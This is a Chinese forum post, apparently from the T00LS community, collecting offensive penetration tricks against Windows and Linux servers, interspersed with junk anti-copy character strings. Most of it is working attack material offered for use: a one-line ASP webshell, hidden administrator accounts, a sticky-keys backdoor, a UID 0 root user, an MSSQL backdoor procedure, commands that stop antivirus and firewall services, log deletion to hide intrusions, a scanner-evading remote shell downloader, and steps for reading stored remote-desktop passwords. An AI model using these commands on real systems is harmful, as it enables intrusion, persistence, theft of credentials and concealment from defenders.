渗透技巧总结

admin

旁站路径问题
1、读网站配置。
& o9 I: S! }3 {6 |1 r2、用以下VBS
On Error Resume Next
9 M4 G  n; @( N7 UIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        

* F) ~& f+ ^( D* M' BMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

5 |7 F2 j, v! ~Usage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
End If
5 ]2 a' e3 M  x3 p$ I- tSet ObjService=GetObject

: n& p+ I! E: k6 S; \' Q$ h("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
# p1 ?  c" s6 A- w0 g% g        If IsNumeric(obj3w.Name)

- P6 G$ G/ n1 O! f2 KThen
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         
1 t1 @* B9 t3 i' K8 \2 V: B& B4 ^8 C
% U# }) Z0 O8 }! x: b) n       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
: K$ X$ G1 W4 c, W' {2 T                If Err

: ?5 B5 N: R- M( i/ X<> 0 Then WScript.Quit (1)
* o! }1 L1 M! y" H1 f+ z, g                WScript.Echo Chr(10) & "[" &

OService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
     
; q5 R- s* [2 O
& O6 E3 z2 J# c. x% f                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        
8 V1 [$ Q8 d  b& j
WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
      
' k1 ]; O  `( |* f) P2 t! V: t
         WScript.Echo "ath            : " & VDirObj.Path
        End If
- q/ `$ |1 M6 n  O3 I/ ~Next
复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
$ ]0 Z4 L2 C& v) \" `3 S& V- F4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
. r4 i8 s' q6 O% p' _5 s" {6 t' u—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
——————————————————————
phpMyAdmin暴路径办法:
1 Z( ^; m2 z: J3 V! cphpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
1 ^2 Y$ e  d6 T( @5 H5 zphpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
+ _9 ^' @3 g: i; _) `4 O————————————————————
* F, R  ?9 \# d6 P; x- C4 F网站可能目录(注：一般是虚拟主机类）
- ^2 p, _! k$ e0 Tdata/htdocs.网站/网站/
————————————————————
CMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
) \' _1 `6 ~$ e2 d. Tnetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
9 Y0 J+ Q( E/ u0 iEXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

/ b$ ~9 k% _7 `) r另类的加用户方法
- X4 T& t" A5 I+ D; S在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;

vbs:
Set   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
1 |! R% z7 q6 G- ~/ k5 e
2 W0 f# a  _& J& [3 b命令如下
2 f* e2 E! V; _cacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
" z* m$ ]- ^& j3 |" ^0 E7 h————————以下配合PR更好————
7 Y% m0 [& C) h! ]3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
& t7 C! r. p4 u1 {) tb、内网环境（LCX）
c、终端服务器超出了最大允许连接
XP 运行mstsc /admin
0 a1 u4 ]2 x# ]1 k6 u+ w2003 运行mstsc /console   
& G; t: U/ [+ i9 I& l% q
' L1 [9 f2 F# J' ~5 G" a杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
8 N0 L( ^6 n6 f+ R7 \& g/ S/ p% X" {net stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
  }4 y' M8 @! v; _net stop "System Event Notification" /y
0 n9 t" K- c, H, \- h) bnet stop "Symantec Settings Manager" /y

5 p  }. e. G7 n1 v" \7 p. z卖咖啡：net stop "McAfee McShield"
————————————————————
4 c+ K; z4 ^, T- F  V
# Z' K) R( O9 u( h" o, Y5次SHIFT：
3 `. \+ e# i/ s/ g# I" H% Qcopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
8 B6 y- ^  C/ g" @* a% `: k6 @copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
0 r" g  t8 [4 u- }$ l8 E隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
MSSQL扩展后门：
USE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
- y% W. G) c5 z" uGRANT exec On xp_helpsystem TO public;
———————————————————————
日志处理
0 H  g2 S* L- ]# KC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
. d: e  f* O; X' o+ xex011120.log / ex011121.log / ex011124.log三个文件，
. E6 Z9 X' ?7 A1 A& Z$ I直接删除 ex0111124.log
7 t% p& B1 M% n" s不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
& K) i  K7 @& f/ k0 M+ Q9 j用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
; \. E: {  {; c5 c- Q当停止msftpsvc服务后可直接删除ex011124.log

! N: f/ k+ H5 I3 j- ]; g, UMSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
7 E7 u$ D4 N5 ~" ~  E- {. tHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
' R5 n5 k9 }( U6 N9 J$ `8 v9 K找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

Server\90\Tools\Shell\mru.dat
—————————————————————————
/ E; W- E$ p" m' y1 F防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
5 ^. P2 N8 j4 n
9 f( c% t/ E4 G6 _( m) V4 I<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
* \' I& W+ i7 G0 FDim Ads, Retrieval, GetRemoteData
On Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
2 ?/ Y8 \1 J% Z8 e9 B% q8 [With Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
" S) f2 D7 I+ q, [0 l.Send
9 w$ u& d! M2 f  [" X8 DGetRemoteData = .ResponseBody
End With
8 W( Z! E: d$ K6 OSet Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
With Ads
1 f. O8 V" n- I+ ]/ u; m0 j! P.Type = 1
( s1 f0 ^8 i$ a: z+ I.Open
.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
& a* w8 D% v4 Z4 z.Cancel()
" Y+ w, P1 Y# G. v( c9 |' }4 @$ ~$ B.Close()
7 W- ]; @8 ~" i! y" IEnd With
Set Ads=nothing
End Sub

eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>

VNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
2 ?+ ?7 Y8 n, o5 T: r+ I) X4 Q注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
' Y* l3 y, H0 d, qregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
( ]: G) w6 a# qregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
% N) D- t6 r$ w1 d/ N+ e: ?HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
2 E0 h& r' K& n5 o* u( f* K保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
) b7 T: u; j& S, }- aUsers\Application Data\Symantec\pcAnywhere\文件夹下。
& I7 {: h+ y5 E" V+ V1 J——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
/ g- k* X0 s9 w- C, xWinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
' o/ l0 Z7 C# }1 [来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
' n, J2 ]2 S* L. D- g# i' \没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。
( n, c" e+ `6 ?" d6 B& s
7 j! Z# t5 I; f3 s1433 SA点构建注入点。
  E0 B- G5 y6 n6 R3 E9 Y7 i- a$ |+ [# l<%
strSQLServerName = "服务器ip"
/ M: T9 c( a+ W$ Q8 m) A  A2 w# YstrSQLDBUserName = "数据库帐号"
/ Y7 i# P% K7 nstrSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
6 ^, H( Q" ?" [# R) pSet conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
0 R) M3 _' o' K9 B6 d/ ^, o
";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
, S' @% N6 M" b4 J8 j
strSQLDBName & ";"
conn.open strCon
! q; B& P# i0 r3 X' W& T0 wdim rs,strSQL,id
$ g4 \+ X; j8 [5 E+ Pset rs=server.createobject("ADODB.recordset")
: v5 L* L5 T5 w+ B0 c) ~( }- k& |5 Eid = request("id")
! W) i. Q6 [  b! R2 `0 e4 X$ dstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
* a0 `9 q' c! ~& O7 qrs.close
9 i# ?# t7 A( ~0 d1 @, f%>
复制代码
8 y6 S/ M/ P) X5 Z7 V******liunx 相关******
% N& g6 U6 E/ ^一.ldap渗透技巧
) k" X0 \& h. t; I: N( E1.cat /etc/nsswitch
; }% f, }" h* i: k% r5 H9 a/ c看看密码登录策略我们可以看到使用了file ldap模式

8 W' s. C2 r; s9 X0 K, E2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

, O, l; N* G& p. k! [* F* _) @3.查找管理员信息
匿名方式
! z9 _) t0 \4 ^8 O1 X- b+ M( e9 Lldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
& k! L- o4 i% ^+ Z有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
% `" E6 J- t1 w3 V0 q9 S. S; Q
- g, ?! ?/ C' I& C9 }4 [1 q"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
& q% w) r. Y8 u6 s3 x6 C
/ r# W) j( H% F, P- d
- r. D9 a# C# n4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

3 r- Q7 I) o* M实战:
1.cat /etc/nsswitch
+ ~- G2 D# O$ N7 R0 x% H) t; ~看看密码登录策略我们可以看到使用了file ldap模式
% i/ l7 F! n1 S9 ?
2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
, K% i' g9 G; V4 H, f找到ou,dc,dc设置
& J# O/ }$ a$ W9 l" X: I4 n0 e
3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
$ \5 J' c  b7 X. z0 ~8 Y* m有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
3 ]6 q; I/ P0 I9 @
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
# X5 K1 P: m" J
' [% {+ I, a; D) g8 s6 ~9 x
4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

* D1 {+ `/ f0 r" B* z. h+ W1 t渗透实战:
( @; x/ B+ M, }- A& ]  @1.返回所有的属性
8 ?8 L) u3 j* Q! K4 Nldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
8 A' l: f9 e. q" q( ?dn: dc=ruc,dc=edu,dc=cn
dc: ruc
1 N5 W; O4 Z! F6 V8 WobjectClass: domain
7 M& {2 _; [8 C2 |/ K, S! [: X, ^6 G3 x
: _9 J2 A+ o, A  I! Sdn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
objectClass: inetOrgPerson
objectClass: organizationalPerson
4 h2 s8 U( n; M+ ~, n4 O) robjectClass: person
' G' _1 x+ C) |5 L7 _, d2 ~) aobjectClass: top
sn: manager
( @, |- c" e5 ~5 bcn: manager
/ R3 w( C* a8 i6 `/ }$ t7 v
) ^( T# f/ H7 E! U( T( ?dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
" ~& C! j, `9 j( |- r- Zuid: superadmin
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
# x# _3 ~. ?' }' kobjectClass: top
1 e- n  Q9 H" f  ^sn: superadmin
cn: superadmin
- o0 T! T# F- w: H+ f
7 w. v9 T8 p8 v& }4 |6 |, g! S7 i9 ddn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
objectClass: inetOrgPerson
objectClass: organizationalPerson
, }4 N1 i4 I( O/ N# I& r9 D. \' IobjectClass: person
objectClass: top
sn: admin
" v1 q  C: O) W% R4 D8 m! ncn: admin
4 ~, m, j$ J8 k& h( |3 P7 S
  s0 r/ ]+ k: jdn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
1 C8 M6 l0 _0 H. v! SobjectClass: top
  K- Z- _  w: J$ j* qobjectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
sn: dcp_anonymous
cn: dcp_anonymous

; c' Y4 k7 N1 |+ {& Z7 |2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
) r. i) b+ B" ]' ]5 ~0 {
, R# r# y& [* [' Qmore
version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
$ S# A1 j: x' e# JobjectClass: domain

# ~: J, R8 w$ k9 b4 }% P3.查找
& e2 z$ q( i5 p3 Pbash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
dn:
objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
% d/ W/ K$ \9 c, v) ?! u% }supportedExtension: 2.16.840.1.113730.3.5.7
/ F$ {* G" D" }7 O4 X9 p6 lsupportedExtension: 2.16.840.1.113730.3.5.8
' D% F( P" B1 P6 L/ p. y% j9 _supportedExtension: 1.3.6.1.4.1.4203.1.11.1
- [7 f" I' ?) ?/ \' [supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
$ V: x! X: d) ^3 @supportedExtension: 2.16.840.1.113730.3.5.3
" i  g: ~6 l. ]' A9 M" O: CsupportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
4 M3 ]0 c+ ]' k8 M7 H9 Y& O0 C8 N  HsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
7 n, b& q. \+ w3 R! v( h! msupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
7 A5 k9 |, N' C. h# m" N/ TsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
* i5 z( ~- _9 u( nsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
' y( P" g9 L; s( J4 P7 PsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
/ K7 i2 c0 S. e$ O" R+ FsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
3 N0 c9 c4 O8 B0 `' ?* `9 G8 E+ TsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
$ u) }) ]) c- RsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
' g' g1 `$ _+ ?8 r; Y, O: J1 m3 NsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
+ U/ }; G, U( K$ p5 \* ^supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
) g+ J0 s6 T6 osupportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
" r6 m( [! s7 lsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
$ b. }7 ?6 p3 G: gsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
- h7 E: ?  p1 I* JsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
! N, u+ R2 m* \7 h/ C+ v' ?supportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
supportedLDAPVersion: 3
1 T+ W; A; g9 T: \; V; m+ ^vendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
( q' a5 R" j. E- @/ i6 u- E1 nsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
' d  Z3 ^! `2 RsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
( a2 F1 L2 D6 @2 p7 @supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
2 T( `* g$ i5 A" ZsupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
4 [' R! p- u; N- `( Z' V6 M, _supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
2 ?# U) p4 l8 N- Q/ ^supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
4 v" `- c  U" o: hsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
5 H* G% Z5 D" R3 V1 I1 A3 HsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
  Q' {5 \. l5 H# e9 h0 z& rsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
- n' M% M, Y- K8 |& ]supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
7 U# s* g; u# q8 _* rsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
  }# j+ ]6 G0 m; R- `supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
) e: M9 U3 u# A6 B) LsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
* L- l7 h$ m5 s; O6 o* o! tsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
% y0 m, a4 i! _0 b6 C' GsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
2 F3 Z* t1 u6 |8 I, A5 XsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
6 I" i: ]% P  Z5 J+ @& c. c) y% UsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
! v( b- i- x+ l: D- k3 g9 L' v4 WsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
; d" \8 U) V8 m8 p7 Z+ Q4 xsupportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
* f/ F# f% v7 u4 `" A, D" E2 ~0 lsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
& u$ l. l! W/ T6 M% p) M* f* qsupportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
! h' }- v8 K( u- p3 z5 {8 P! W# u8 K, VsupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
6 V$ a# {; ~" U0 N, I" o2 d7 Z) w  ysupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
% H  m- k7 M# Q1 p* O, H————————————
2. NFS渗透技巧
showmount -e ip
列举IP
3 m! X- r% Y2 a8 X1 U# l+ y——————
3 K+ i! S8 A) k, I3.rsync渗透技巧
0 z" A# H9 w* R- k2 M6 \1.查看rsync服务器上的列表
rsync 210.51.X.X::
) b8 w- T8 q" |& ofinance
img_finance
8 @. V: N. o: @* Fauto
. ?7 ?8 L" e3 W1 Y1 l/ oimg_auto
( j& o7 g! C) ~6 Shtml_cms
img_cms
ent_cms
& v* I/ ~" F+ C% P- Q# went_img
ceshi
res_img
res_img_c2
. ^; _7 g4 Z7 c7 {3 achip
chip_c2
ent_icms
games
) y$ P# |; q+ f  \0 Ngamesimg
media
mediaimg
fashion
res-fashion
- I" ^# n4 V7 e5 P+ wres-fo
taobao-home
res-taobao-home
house
) Y, |5 b3 i/ }6 k& L3 ~. W& Pres-house
' g) q9 d# R9 D( r) p  Z0 X9 N! v) Gres-home
res-edu
% h% x9 e; M' B) eres-ent
res-labs
res-news
1 O2 ~- C% U( \& ^+ o( j- Ores-phtv
res-media
home
; A/ `; u. u* Z: ~1 E. B: {1 uedu
1 ~; w/ X1 w( ^; l: ?; E$ K3 Anews
) i$ ?) ^/ O2 Q/ E7 U' F5 pres-book

看相应的下级目录(注意一定要在目录后面添加上/)
0 h2 N: s4 c# S$ d) A% s( G

% s6 f" B$ C: n/ Y$ t# Hrsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
. z6 N/ l- h+ Y6 |rsync 210.51.X.X::edu/
( @1 D( I/ v7 ^5 o( C) d5 f
2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
/ {: \: u2 Q+ ~; k, \5 r* X" _
3.向上更新rsync文件(成功上传,不会覆盖)
( k! r' y; L- N' z. |  w# Orsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
% \1 j" @( f5 v# S1 S3 t3 Y% {7 khttp://app.finance.xxx.com/warn/nothack.txt
% c1 \5 K8 j3 g! c8 Y
; R! T0 Z' v9 v( I. K* z) h四.squid渗透技巧
- L* y, B' M* g; y- gnc -vv baidu.com 80
2 p3 b( Q9 M$ Z3 h, o) CGET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
, [% m  w( J5 c5 J/ i2 }9 o五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

) P: h7 [7 J5 d& o; _& T6 `六.joomla渗透小技巧
确定版本
6 R  v9 L( ^( C. F" v( Vindex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
& B2 V3 u. T2 k' h* W# R; c
# I( n7 m" o6 Z( R0 r- |/ r$ D15&catid=32:languages&Itemid=47

重新设置密码
/ e) |8 Y; U  i* U, Gindex.php?option=com_user&view=reset&layout=confirm

& ]3 X' F+ C: }: l) z, [" c# L七: Linux添加UID为0的root用户
useradd -o -u 0 nothack

% o$ n; F! M0 y3 Z% `0 R' ~八.freebsd本地提权
* v0 h- R# l! J, S  i[argp@julius ~]$ uname -rsi
' `! e; }) y, g, J4 `7 u$ }( @* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
; X3 B/ ]7 A# l2 E; @: d* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
*
calling nmount()
+ G; o2 j! [7 g" s/ O
（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
! H& N5 N* r: X! c——————————————
1 m7 B- V: [% q' u感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
% c+ ~8 P( |# K  g' I7 Y1 N1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
, S& u% `! u3 T# E8 F8 d{
注：
0 y# q# s7 ^% o7 ]6 m  U2 D关于tar的打包方式,linux不以扩展名来决定文件类型。
